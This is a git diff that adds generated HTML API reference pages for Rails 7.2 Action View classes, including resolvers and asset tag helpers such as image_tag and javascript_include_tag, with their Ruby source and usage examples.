diff --git a/src/7.2/classes/ActionView/Digestor/NullLogger.html b/src/7.2/classes/ActionView/Digestor/NullLogger.html new file mode 100644 index 0000000000..a146b52967 --- /dev/null +++ b/src/7.2/classes/ActionView/Digestor/NullLogger.html @@ -0,0 +1,142 @@ +--- +title: ActionView::Digestor::NullLogger +layout: default +--- +
+ +
+
+ + + + + + + + + + + +

Methods

+ + + + + + + + + + + + + + + + +

Class Public methods

+ +
+

+ + debug(_) + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File actionview/lib/action_view/digestor.rb, line 126
+      def self.debug(_); end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + error(_) + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File actionview/lib/action_view/digestor.rb, line 127
+      def self.error(_); end
+ + πŸ”Ž See on GitHub + +
+ +
+ + + + + +
+ +
+
diff --git a/src/7.2/classes/ActionView/Digestor/Partial.html b/src/7.2/classes/ActionView/Digestor/Partial.html new file mode 100644 index 0000000000..9de8befecd --- /dev/null +++ b/src/7.2/classes/ActionView/Digestor/Partial.html @@ -0,0 +1,60 @@ +--- +title: ActionView::Digestor::Partial +layout: default +--- +
+ +
+
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + +
+ +
+
diff --git a/src/7.2/classes/ActionView/FileSystemResolver.html b/src/7.2/classes/ActionView/FileSystemResolver.html new file mode 100644 index 0000000000..e6af4d1aed --- /dev/null +++ b/src/7.2/classes/ActionView/FileSystemResolver.html @@ -0,0 +1,319 @@ +--- +title: ActionView::FileSystemResolver +layout: default +--- +
+ +
+
+ +
+ +

A resolver that loads files from the filesystem.

+ +
+ + + + + + + + + + + +

Methods

+ + + + + + + + + + + + + + +

Attributes

+ + + + + + + + +
+ [R] + path
+ + + + +

Class Public methods

+ +
+

+ + new(path) + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File actionview/lib/action_view/template/resolver.rb, line 94
+    def initialize(path)
+      raise ArgumentError, "path already is a Resolver class" if path.is_a?(Resolver)
+      @unbound_templates = Concurrent::Map.new
+      @path_parser = PathParser.new
+      @path = File.expand_path(path)
+      super()
+    end
+ + πŸ”Ž See on GitHub + +
+ +
+ + + +

Instance Public methods

+ +
+

+ + ==(resolver) + +

+ + +
+ +
+ + + + + +
+ Alias for: eql? +
+ + + + +
+ +
+

+ + clear_cache() + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File actionview/lib/action_view/template/resolver.rb, line 102
+    def clear_cache
+      @unbound_templates.clear
+      @path_parser = PathParser.new
+      super
+    end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + eql?(resolver) + +

+ + +
+ +
+ + + +
+ Also aliased as: == +
+ + + + + + +
+ + πŸ“ Source code + + +
# File actionview/lib/action_view/template/resolver.rb, line 113
+    def eql?(resolver)
+      self.class.equal?(resolver.class) && to_path == resolver.to_path
+    end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + to_path() + +

+ + +
+ +
+ + + + + +
+ Alias for: to_s +
+ + + + +
+ +
+

+ + to_s() + +

+ + +
+ +
+ + + +
+ Also aliased as: to_path +
+ + + + + + +
+ + πŸ“ Source code + + +
# File actionview/lib/action_view/template/resolver.rb, line 108
+    def to_s
+      @path.to_s
+    end
+ + πŸ”Ž See on GitHub + +
+ +
+ + + + +
+ +
+
diff --git a/src/7.2/classes/ActionView/FixtureResolver.html b/src/7.2/classes/ActionView/FixtureResolver.html new file mode 100644 index 0000000000..4bfa43eb89 --- /dev/null +++ b/src/7.2/classes/ActionView/FixtureResolver.html @@ -0,0 +1,196 @@ +--- +title: ActionView::FixtureResolver +layout: default +--- +
+ +
+
+ +
+ +

Use FixtureResolver in your tests to simulate the presence of files on the file system. This is used internally by Rails’ own test suite, and is useful for testing extensions that have no way of knowing what the file system will look like at runtime.

+ +
+ + + + + + + + + + + +

Methods

+ + + + + + + + + + + + + + + + +

Class Public methods

+ +
+

+ + new(hash = {}) + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File actionview/lib/action_view/testing/resolvers.rb, line 11
+    def initialize(hash = {})
+      super("")
+      @hash = hash
+      @path = ""
+    end
+ + πŸ”Ž See on GitHub + +
+ +
+ + + +

Instance Public methods

+ +
+

+ + data() + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File actionview/lib/action_view/testing/resolvers.rb, line 17
+    def data
+      @hash
+    end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + to_s() + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File actionview/lib/action_view/testing/resolvers.rb, line 21
+    def to_s
+      @hash.keys.join(", ")
+    end
+ + πŸ”Ž See on GitHub + +
+ +
+ + + + +
+ +
+
diff --git a/src/7.2/classes/ActionView/Helpers.html b/src/7.2/classes/ActionView/Helpers.html new file mode 100644 index 0000000000..19317dcf13 --- /dev/null +++ b/src/7.2/classes/ActionView/Helpers.html @@ -0,0 +1,252 @@ +--- +title: ActionView::Helpers +layout: default +--- +
+ +
+ + +
+
diff --git a/src/7.2/classes/ActionView/Helpers/ActiveModelHelper.html b/src/7.2/classes/ActionView/Helpers/ActiveModelHelper.html new file mode 100644 index 0000000000..ec676858ec --- /dev/null +++ b/src/7.2/classes/ActionView/Helpers/ActiveModelHelper.html @@ -0,0 +1,54 @@ +--- +title: ActionView::Helpers::ActiveModelHelper +layout: default +--- +
+ +
+
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + +
+ +
+
diff --git a/src/7.2/classes/ActionView/Helpers/ActiveModelInstanceTag.html b/src/7.2/classes/ActionView/Helpers/ActiveModelInstanceTag.html new file mode 100644 index 0000000000..9006ac77db --- /dev/null +++ b/src/7.2/classes/ActionView/Helpers/ActiveModelInstanceTag.html @@ -0,0 +1,270 @@ +--- +title: ActionView::Helpers::ActiveModelInstanceTag +layout: default +--- +
+ +
+
+ +
+ +

Active Model Instance Tag Helpers

+ +
+ + + + + + + + + + + +

Methods

+ + + + + + + + + + + + + + + + + +

Instance Public methods

+ +
+

+ + content_tag(type, options, *) + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File actionview/lib/action_view/helpers/active_model_helper.rb, line 20
+      def content_tag(type, options, *)
+        select_markup_helper?(type) ? super : error_wrapping(super)
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + error_message() + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File actionview/lib/action_view/helpers/active_model_helper.rb, line 36
+      def error_message
+        object.errors[@method_name]
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + error_wrapping(html_tag) + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File actionview/lib/action_view/helpers/active_model_helper.rb, line 28
+      def error_wrapping(html_tag)
+        if object_has_errors?
+          @template_object.instance_exec(html_tag, self, &Base.field_error_proc)
+        else
+          html_tag
+        end
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + object() + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File actionview/lib/action_view/helpers/active_model_helper.rb, line 13
+      def object
+        @active_model_object ||= begin
+          object = super
+          object.respond_to?(:to_model) ? object.to_model : object
+        end
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + tag(type, options, *) + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File actionview/lib/action_view/helpers/active_model_helper.rb, line 24
+      def tag(type, options, *)
+        tag_generate_errors?(options) ? error_wrapping(super) : super
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ + + + +
+ +
+
diff --git a/src/7.2/classes/ActionView/Helpers/AssetTagHelper.html b/src/7.2/classes/ActionView/Helpers/AssetTagHelper.html new file mode 100644 index 0000000000..e8e89638fd --- /dev/null +++ b/src/7.2/classes/ActionView/Helpers/AssetTagHelper.html @@ -0,0 +1,938 @@ +--- +title: ActionView::Helpers::AssetTagHelper +layout: default +--- +
+ +
+
+ +
+ +

Action View Asset Tag Helpers

+ +

This module provides methods for generating HTML that links views to assets such as images, JavaScripts, stylesheets, and feeds. These methods do not verify the assets exist before linking to them:

+ +
image_tag("rails.png")
+# => <img src="/assets/rails.png" />
+stylesheet_link_tag("application")
+# => <link href="/assets/application.css?body=1" rel="stylesheet" />
+
+ +
+ + + + + + + + + + + +

Methods

+ + + + + +

Included Modules

+ + + + + + + + + + + + + + + +

Instance Public methods

+ +
+

+ + audio_tag(*sources) + +

+ + +
+

Returns an HTML audio tag for the sources. If sources is a string, a single audio tag will be returned. If sources is an array, an audio tag with nested source tags for each source will be returned. The sources can be full paths, files that exist in your public audios directory, or Active Storage attachments.

+ +

When the last parameter is a hash you can add HTML attributes using that parameter.

+ +
audio_tag("sound")
+# => <audio src="/audios/sound"></audio>
+audio_tag("sound.wav")
+# => <audio src="/audios/sound.wav"></audio>
+audio_tag("sound.wav", autoplay: true, controls: true)
+# => <audio autoplay="autoplay" controls="controls" src="/audios/sound.wav"></audio>
+audio_tag("sound.wav", "sound.mid")
+# => <audio><source src="/audios/sound.wav" /><source src="/audios/sound.mid" /></audio>
+
+ +

Active Storage blobs (audios that are uploaded by the users of your app):

+ +
audio_tag(user.name_pronunciation_audio)
+# => <audio src="/rails/active_storage/blobs/.../name_pronunciation_audio.mp3"></audio>
+
+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File actionview/lib/action_view/helpers/asset_tag_helper.rb, line 593
+      def audio_tag(*sources)
+        multiple_sources_tag_builder("audio", sources)
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+ + + +
+

Returns a link tag that browsers and feed readers can use to auto-detect an RSS, Atom, or JSON feed. The type can be :rss (default), :atom, or :json. Control the link options in url_for format using the url_options. You can modify the LINK tag itself in tag_options.

+ + +
  • +

    :rel - Specify the relation of this link, defaults to β€œalternate”

    +
  • +

    :type - Override the auto-generated mime type

    +
  • +

    :title - Specify the title of the link, defaults to the type

    +
+ + + +
auto_discovery_link_tag
+# => <link rel="alternate" type="application/rss+xml" title="RSS" href="http://www.currenthost.com/controller/action" />
+auto_discovery_link_tag(:atom)
+# => <link rel="alternate" type="application/atom+xml" title="ATOM" href="http://www.currenthost.com/controller/action" />
+auto_discovery_link_tag(:json)
+# => <link rel="alternate" type="application/json" title="JSON" href="http://www.currenthost.com/controller/action" />
+auto_discovery_link_tag(:rss, {action: "feed"})
+# => <link rel="alternate" type="application/rss+xml" title="RSS" href="http://www.currenthost.com/controller/feed" />
+auto_discovery_link_tag(:rss, {action: "feed"}, {title: "My RSS"})
+# => <link rel="alternate" type="application/rss+xml" title="My RSS" href="http://www.currenthost.com/controller/feed" />
+auto_discovery_link_tag(:rss, {controller: "news", action: "feed"})
+# => <link rel="alternate" type="application/rss+xml" title="RSS" href="http://www.currenthost.com/news/feed" />
+auto_discovery_link_tag(:rss, "http://www.example.com/feed.rss", {title: "Example RSS"})
+# => <link rel="alternate" type="application/rss+xml" title="Example RSS" href="http://www.example.com/feed.rss" />
+
+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File actionview/lib/action_view/helpers/asset_tag_helper.rb, line 271
+      def auto_discovery_link_tag(type = :rss, url_options = {}, tag_options = {})
+        if !(type == :rss || type == :atom || type == :json) && tag_options[:type].blank?
+          raise ArgumentError.new("You should pass :type tag_option key explicitly, because you have passed #{type} type other than :rss, :atom, or :json.")
+        end
+
+        tag(
+          "link",
+          "rel"   => tag_options[:rel] || "alternate",
+          "type"  => tag_options[:type] || Template::Types[type].to_s,
+          "title" => tag_options[:title] || type.to_s.upcase,
+          "href"  => url_options.is_a?(Hash) ? url_for(url_options.merge(only_path: false)) : url_options
+        )
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+ + + +
+

Returns a link tag for a favicon managed by the asset pipeline.

+ +

If a page has no link like the one generated by this helper, browsers ask for /favicon.ico automatically, and cache the file if the request succeeds. If the favicon changes it is hard to get it updated.

+ +

To have better control applications may let the asset pipeline manage their favicon storing the file under app/assets/images, and using this helper to generate its corresponding link tag.

+ +

The helper gets the name of the favicon file as first argument, which defaults to β€œfavicon.ico”, and also supports :rel and :type options to override their defaults, β€œicon” and β€œimage/x-icon” respectively:

+ +
favicon_link_tag
+# => <link href="/assets/favicon.ico" rel="icon" type="image/x-icon" />
+
+favicon_link_tag 'myicon.ico'
+# => <link href="/assets/myicon.ico" rel="icon" type="image/x-icon" />
+
+ +

Mobile Safari looks for a different link tag, pointing to an image that will be used if you add the page to the home screen of an iOS device. The following call would generate such a tag:

+ +
favicon_link_tag 'mb-icon.png', rel: 'apple-touch-icon', type: 'image/png'
+# => <link href="/assets/mb-icon.png" rel="apple-touch-icon" type="image/png" />
+
+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File actionview/lib/action_view/helpers/asset_tag_helper.rb, line 312
+      def favicon_link_tag(source = "favicon.ico", options = {})
+        tag("link", {
+          rel: "icon",
+          type: "image/x-icon",
+          href: path_to_image(source, skip_pipeline: options.delete(:skip_pipeline))
+        }.merge!(options.symbolize_keys))
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + image_tag(source, options = {}) + +

+ + +
+

Returns an HTML image tag for the source. The source can be a full path, a file, or an Active Storage attachment.

+ +

Options

+ +

You can add HTML attributes using the options. The options supports additional keys for convenience and conformance:

+
  • +

    :size - Supplied as "#{width}x#{height}" or "#{number}", so "30x45" becomes width="30" height="45", and "50" becomes width="50" height="50". :size will be ignored if the value is not in the correct format.

    +
  • +

    :srcset - If supplied as a hash or array of [source, descriptor] pairs, each image path will be expanded before the list is formatted as a string.

    +
+ +

Examples

+ +

Assets (images that are part of your app):

+ +
image_tag("icon")
+# => <img src="/assets/icon" />
+image_tag("icon.png")
+# => <img src="/assets/icon.png" />
+image_tag("icon.png", size: "16x10", alt: "Edit Entry")
+# => <img src="/assets/icon.png" width="16" height="10" alt="Edit Entry" />
+image_tag("/icons/icon.gif", size: "16")
+# => <img src="/icons/icon.gif" width="16" height="16" />
+image_tag("/icons/icon.gif", height: '32', width: '32')
+# => <img height="32" src="/icons/icon.gif" width="32" />
+image_tag("/icons/icon.gif", class: "menu_icon")
+# => <img class="menu_icon" src="/icons/icon.gif" />
+image_tag("/icons/icon.gif", data: { title: 'Rails Application' })
+# => <img data-title="Rails Application" src="/icons/icon.gif" />
+image_tag("icon.png", srcset: { "icon_2x.png" => "2x", "icon_4x.png" => "4x" })
+# => <img src="/assets/icon.png" srcset="/assets/icon_2x.png 2x, /assets/icon_4x.png 4x">
+image_tag("pic.jpg", srcset: [["pic_1024.jpg", "1024w"], ["pic_1980.jpg", "1980w"]], sizes: "100vw")
+# => <img src="/assets/pic.jpg" srcset="/assets/pic_1024.jpg 1024w, /assets/pic_1980.jpg 1980w" sizes="100vw">
+
+ +

Active Storage blobs (images that are uploaded by the users of your app):

+ +
image_tag(user.avatar)
+# => <img src="/rails/active_storage/blobs/.../tiger.jpg" />
+image_tag(user.avatar.variant(resize_to_limit: [100, 100]))
+# => <img src="/rails/active_storage/representations/.../tiger.jpg" />
+image_tag(user.avatar.variant(resize_to_limit: [100, 100]), size: '100')
+# => <img width="100" height="100" src="/rails/active_storage/representations/.../tiger.jpg" />
+
+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File actionview/lib/action_view/helpers/asset_tag_helper.rb, line 430
+      def image_tag(source, options = {})
+        options = options.symbolize_keys
+        check_for_image_tag_errors(options)
+        skip_pipeline = options.delete(:skip_pipeline)
+
+        options[:src] = resolve_asset_source("image", source, skip_pipeline)
+
+        if options[:srcset] && !options[:srcset].is_a?(String)
+          options[:srcset] = options[:srcset].map do |src_path, size|
+            src_path = path_to_image(src_path, skip_pipeline: skip_pipeline)
+            "#{src_path} #{size}"
+          end.join(", ")
+        end
+
+        options[:width], options[:height] = extract_dimensions(options.delete(:size)) if options[:size]
+
+        options[:loading] ||= image_loading if image_loading
+        options[:decoding] ||= image_decoding if image_decoding
+
+        tag("img", options)
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + javascript_include_tag(*sources) + +

+ + +
+

Returns an HTML script tag for each of the sources provided.

+ +

Sources may be paths to JavaScript files. Relative paths are assumed to be relative to assets/javascripts, full paths are assumed to be relative to the document root. Relative paths are idiomatic, use absolute paths only when needed.

+ +

When passing paths, the β€œ.js” extension is optional. If you do not want β€œ.js” appended to the path extname: false can be set on the options.

+ +

You can modify the HTML attributes of the script tag by passing a hash as the last argument.

+ +

When the Asset Pipeline is enabled, you can pass the name of your manifest as source, and include other JavaScript or CoffeeScript files inside the manifest.

+ +

If the server supports HTTP Early Hints, and the defer option is not enabled, Rails will push a 103 Early Hints response that links to the assets.

+ +

Options

+ +

When the last parameter is a hash you can add HTML attributes using that parameter. This includes but is not limited to the following options:

+
  • +

    :extname - Append an extension to the generated URL unless the extension already exists. This only applies for relative URLs.

    +
  • +

    :protocol - Sets the protocol of the generated URL. This option only applies when a relative URL and host options are provided.

    +
  • +

    :host - When a relative URL is provided the host is added to the that path.

    +
  • +

    :skip_pipeline - This option is used to bypass the asset pipeline when it is set to true.

    +
  • +

    :nonce - When set to true, adds an automatic nonce value if you have Content Security Policy enabled.

    +
  • +

    :async - When set to true, adds the async HTML attribute, allowing the script to be fetched in parallel to be parsed and evaluated as soon as possible.

    +
  • +

    :defer - When set to true, adds the defer HTML attribute, which indicates to the browser that the script is meant to be executed after the document has been parsed. Additionally, prevents sending the Preload Links header.

    +
  • +

    :nopush - Specify if the use of server push is not desired for the script. Defaults to true.

    +
+ +

Any other specified options will be treated as HTML attributes for the script tag.

+ +

For more information regarding how the :async and :defer options affect the <script> tag, please refer to the MDN docs.

+ +

Examples

+ +
javascript_include_tag "xmlhr"
+# => <script src="/assets/xmlhr.debug-1284139606.js"></script>
+
+javascript_include_tag "xmlhr", host: "localhost", protocol: "https"
+# => <script src="https://localhost/assets/xmlhr.debug-1284139606.js"></script>
+
+javascript_include_tag "template.jst", extname: false
+# => <script src="/assets/template.debug-1284139606.jst"></script>
+
+javascript_include_tag "xmlhr.js"
+# => <script src="/assets/xmlhr.debug-1284139606.js"></script>
+
+javascript_include_tag "common.javascript", "/elsewhere/cools"
+# => <script src="/assets/common.javascript.debug-1284139606.js"></script>
+#    <script src="/elsewhere/cools.debug-1284139606.js"></script>
+
+javascript_include_tag "http://www.example.com/xmlhr"
+# => <script src="http://www.example.com/xmlhr"></script>
+
+javascript_include_tag "http://www.example.com/xmlhr.js"
+# => <script src="http://www.example.com/xmlhr.js"></script>
+
+javascript_include_tag "http://www.example.com/xmlhr.js", nonce: true
+# => <script src="http://www.example.com/xmlhr.js" nonce="..."></script>
+
+javascript_include_tag "http://www.example.com/xmlhr.js", async: true
+# => <script src="http://www.example.com/xmlhr.js" async="async"></script>
+
+javascript_include_tag "http://www.example.com/xmlhr.js", defer: true
+# => <script src="http://www.example.com/xmlhr.js" defer="defer"></script>
+
+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File actionview/lib/action_view/helpers/asset_tag_helper.rb, line 113
+      def javascript_include_tag(*sources)
+        options = sources.extract_options!.stringify_keys
+        path_options = options.extract!("protocol", "extname", "host", "skip_pipeline").symbolize_keys
+        preload_links = []
+        use_preload_links_header = options["preload_links_header"].nil? ? preload_links_header : options.delete("preload_links_header")
+        nopush = options["nopush"].nil? ? true : options.delete("nopush")
+        crossorigin = options.delete("crossorigin")
+        crossorigin = "anonymous" if crossorigin == true
+        integrity = options["integrity"]
+        rel = options["type"] == "module" ? "modulepreload" : "preload"
+
+        sources_tags = sources.uniq.map { |source|
+          href = path_to_javascript(source, path_options)
+          if use_preload_links_header && !options["defer"] && href.present? && !href.start_with?("data:")
+            preload_link = "<#{href}>; rel=#{rel}; as=script"
+            preload_link += "; crossorigin=#{crossorigin}" unless crossorigin.nil?
+            preload_link += "; integrity=#{integrity}" unless integrity.nil?
+            preload_link += "; nopush" if nopush
+            preload_links << preload_link
+          end
+          tag_options = {
+            "src" => href,
+            "crossorigin" => crossorigin
+          }.merge!(options)
+          if tag_options["nonce"] == true
+            tag_options["nonce"] = content_security_policy_nonce
+          end
+          content_tag("script", "", tag_options)
+        }.join("\n").html_safe
+
+        if use_preload_links_header
+          send_preload_links_header(preload_links)
+        end
+
+        sources_tags
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + picture_tag(*sources, &block) + +

+ + +
+

Returns an HTML picture tag for the sources. If sources is a string, a single picture tag will be returned. If sources is an array, a picture tag with nested source tags for each source will be returned. The sources can be full paths, files that exist in your public images directory, or Active Storage attachments. Since the picture tag requires an img tag, the last element you provide will be used for the img tag. For complete control over the picture tag, a block can be passed, which will populate the contents of the tag accordingly.

+ +

Options

+ +

When the last parameter is a hash you can add HTML attributes using that parameter. Apart from all the HTML supported options, the following are supported:

+
  • +

    :image - Hash of options that are passed directly to the image_tag helper.

    +
+ +

Examples

+ +
picture_tag("picture.webp")
+# => <picture><img src="/images/picture.webp" /></picture>
+picture_tag("gold.png", :image => { :size => "20" })
+# => <picture><img height="20" src="/images/gold.png" width="20" /></picture>
+picture_tag("gold.png", :image => { :size => "45x70" })
+# => <picture><img height="70" src="/images/gold.png" width="45" /></picture>
+picture_tag("picture.webp", "picture.png")
+# => <picture><source srcset="/images/picture.webp" /><source srcset="/images/picture.png" /><img src="/images/picture.png" /></picture>
+picture_tag("picture.webp", "picture.png", :image => { alt: "Image" })
+# => <picture><source srcset="/images/picture.webp" /><source srcset="/images/picture.png" /><img alt="Image" src="/images/picture.png" /></picture>
+picture_tag(["picture.webp", "picture.png"], :image => { alt: "Image" })
+# => <picture><source srcset="/images/picture.webp" /><source srcset="/images/picture.png" /><img alt="Image" src="/images/picture.png" /></picture>
+picture_tag(:class => "my-class") { tag(:source, :srcset => image_path("picture.webp")) + image_tag("picture.png", :alt => "Image") }
+# => <picture class="my-class"><source srcset="/images/picture.webp" /><img alt="Image" src="/images/picture.png" /></picture>
+picture_tag { tag(:source, :srcset => image_path("picture-small.webp"), :media => "(min-width: 600px)") + tag(:source, :srcset => image_path("picture-big.webp")) + image_tag("picture.png", :alt => "Image") }
+# => <picture><source srcset="/images/picture-small.webp" media="(min-width: 600px)" /><source srcset="/images/picture-big.webp" /><img alt="Image" src="/images/picture.png" /></picture>
+
+ +

Active Storage blobs (images that are uploaded by the users of your app):

+ +
picture_tag(user.profile_picture)
+# => <picture><img src="/rails/active_storage/blobs/.../profile_picture.webp" /></picture>
+
+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File actionview/lib/action_view/helpers/asset_tag_helper.rb, line 491
+      def picture_tag(*sources, &block)
+        sources.flatten!
+        options = sources.extract_options!.symbolize_keys
+        image_options = options.delete(:image) || {}
+        skip_pipeline = options.delete(:skip_pipeline)
+
+        content_tag("picture", options) do
+          if block.present?
+            capture(&block).html_safe
+          elsif sources.size <= 1
+            image_tag(sources.last, image_options)
+          else
+            source_tags = sources.map do |source|
+              tag("source",
+               srcset: resolve_asset_source("image", source, skip_pipeline),
+               type: Template::Types[File.extname(source)[1..]]&.to_s)
+            end
+            safe_join(source_tags << image_tag(sources.last, image_options))
+          end
+        end
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+ + + +
+

Returns a link tag that browsers can use to preload the source. The source can be the path of a resource managed by asset pipeline, a full path, or an URI.

+ + +
  • +

    :type - Override the auto-generated mime type, defaults to the mime type for source extension.

    +
  • +

    :as - Override the auto-generated value for as attribute, calculated using source extension and mime type.

    +
  • +

    :crossorigin - Specify the crossorigin attribute, required to load cross-origin resources.

    +
  • +

    :nopush - Specify if the use of server push is not desired for the resource. Defaults to false.

    +
  • +

    :integrity - Specify the integrity attribute.

    +
+ + + +
preload_link_tag("custom_theme.css")
+# => <link rel="preload" href="/assets/custom_theme.css" as="style" type="text/css" />
+
+preload_link_tag("/videos/video.webm")
+# => <link rel="preload" href="/videos/video.mp4" as="video" type="video/webm" />
+
+preload_link_tag(post_path(format: :json), as: "fetch")
+# => <link rel="preload" href="/posts.json" as="fetch" type="application/json" />
+
+preload_link_tag("worker.js", as: "worker")
+# => <link rel="preload" href="/assets/worker.js" as="worker" type="text/javascript" />
+
+preload_link_tag("//example.com/font.woff2")
+# => <link rel="preload" href="//example.com/font.woff2" as="font" type="font/woff2" crossorigin="anonymous"/>
+
+preload_link_tag("//example.com/font.woff2", crossorigin: "use-credentials")
+# => <link rel="preload" href="//example.com/font.woff2" as="font" type="font/woff2" crossorigin="use-credentials" />
+
+preload_link_tag("/media/audio.ogg", nopush: true)
+# => <link rel="preload" href="/media/audio.ogg" as="audio" type="audio/ogg" />
+
+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File actionview/lib/action_view/helpers/asset_tag_helper.rb, line 355
+      def preload_link_tag(source, options = {})
+        href = path_to_asset(source, skip_pipeline: options.delete(:skip_pipeline))
+        extname = File.extname(source).downcase.delete(".")
+        mime_type = options.delete(:type) || Template::Types[extname]&.to_s
+        as_type = options.delete(:as) || resolve_link_as(extname, mime_type)
+        crossorigin = options.delete(:crossorigin)
+        crossorigin = "anonymous" if crossorigin == true || (crossorigin.blank? && as_type == "font")
+        integrity = options[:integrity]
+        nopush = options.delete(:nopush) || false
+        rel = mime_type == "module" ? "modulepreload" : "preload"
+
+        link_tag = tag.link(
+          rel: rel,
+          href: href,
+          as: as_type,
+          type: mime_type,
+          crossorigin: crossorigin,
+          **options.symbolize_keys)
+
+        preload_link = "<#{href}>; rel=#{rel}; as=#{as_type}"
+        preload_link += "; type=#{mime_type}" if mime_type
+        preload_link += "; crossorigin=#{crossorigin}" if crossorigin
+        preload_link += "; integrity=#{integrity}" if integrity
+        preload_link += "; nopush" if nopush
+
+        send_preload_links_header([preload_link])
+
+        link_tag
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+ + + +
+

Returns a stylesheet link tag for the sources specified as arguments.

+ +

When passing paths, the .css extension is optional. If you don’t specify an extension, .css will be appended automatically. If you do not want .css appended to the path, set extname: false in the options. You can modify the link attributes by passing a hash as the last argument.

+ +

If the server supports HTTP Early Hints, Rails will push a 103 Early Hints response that links to the assets.

+ + +
  • +

    :extname - Append an extension to the generated URL unless the extension already exists. This only applies for relative URLs.

    +
  • +

    :protocol - Sets the protocol of the generated URL. This option only applies when a relative URL and host options are provided.

    +
  • +

    :host - When a relative URL is provided the host is added to the that path.

    +
  • +

    :skip_pipeline - This option is used to bypass the asset pipeline when it is set to true.

    +
  • +

    :nonce - When set to true, adds an automatic nonce value if you have Content Security Policy enabled.

    +
  • +

    :nopush - Specify if the use of server push is not desired for the stylesheet. Defaults to true.

    +
+ + + +
stylesheet_link_tag "style"
+# => <link href="/assets/style.css" rel="stylesheet" />
+
+stylesheet_link_tag "style.css"
+# => <link href="/assets/style.css" rel="stylesheet" />
+
+stylesheet_link_tag "http://www.example.com/style.css"
+# => <link href="http://www.example.com/style.css" rel="stylesheet" />
+
+stylesheet_link_tag "style.less", extname: false, skip_pipeline: true, rel: "stylesheet/less"
+# => <link href="/stylesheets/style.less" rel="stylesheet/less">
+
+stylesheet_link_tag "style", media: "all"
+# => <link href="/assets/style.css" media="all" rel="stylesheet" />
+
+stylesheet_link_tag "style", media: "print"
+# => <link href="/assets/style.css" media="print" rel="stylesheet" />
+
+stylesheet_link_tag "random.styles", "/css/stylish"
+# => <link href="/assets/random.styles" rel="stylesheet" />
+#    <link href="/css/stylish.css" rel="stylesheet" />
+
+stylesheet_link_tag "style", nonce: true
+# => <link href="/assets/style.css" rel="stylesheet" nonce="..." />
+
+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File actionview/lib/action_view/helpers/asset_tag_helper.rb, line 202
+      def stylesheet_link_tag(*sources)
+        options = sources.extract_options!.stringify_keys
+        path_options = options.extract!("protocol", "extname", "host", "skip_pipeline").symbolize_keys
+        use_preload_links_header = options["preload_links_header"].nil? ? preload_links_header : options.delete("preload_links_header")
+        preload_links = []
+        crossorigin = options.delete("crossorigin")
+        crossorigin = "anonymous" if crossorigin == true
+        nopush = options["nopush"].nil? ? true : options.delete("nopush")
+        integrity = options["integrity"]
+
+        sources_tags = sources.uniq.map { |source|
+          href = path_to_stylesheet(source, path_options)
+          if use_preload_links_header && href.present? && !href.start_with?("data:")
+            preload_link = "<#{href}>; rel=preload; as=style"
+            preload_link += "; crossorigin=#{crossorigin}" unless crossorigin.nil?
+            preload_link += "; integrity=#{integrity}" unless integrity.nil?
+            preload_link += "; nopush" if nopush
+            preload_links << preload_link
+          end
+          tag_options = {
+            "rel" => "stylesheet",
+            "crossorigin" => crossorigin,
+            "href" => href
+          }.merge!(options)
+          if tag_options["nonce"] == true
+            tag_options["nonce"] = content_security_policy_nonce
+          end
+
+          if apply_stylesheet_media_default && tag_options["media"].blank?
+            tag_options["media"] = "screen"
+          end
+
+          tag(:link, tag_options)
+        }.join("\n").html_safe
+
+        if use_preload_links_header
+          send_preload_links_header(preload_links)
+        end
+
+        sources_tags
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + video_tag(*sources) + +

+ + +
+

Returns an HTML video tag for the sources. If sources is a string, a single video tag will be returned. If sources is an array, a video tag with nested source tags for each source will be returned. The sources can be full paths, files that exist in your public videos directory, or Active Storage attachments.

+ +

Options

+ +

When the last parameter is a hash you can add HTML attributes using that parameter. The following options are supported:

+
  • +

    :poster - Set an image (like a screenshot) to be shown before the video loads. The path is calculated like the src of image_tag.

    +
  • +

    :size - Supplied as "#{width}x#{height}" or "#{number}", so "30x45" becomes width="30" height="45", and "50" becomes width="50" height="50". :size will be ignored if the value is not in the correct format.

    +
  • +

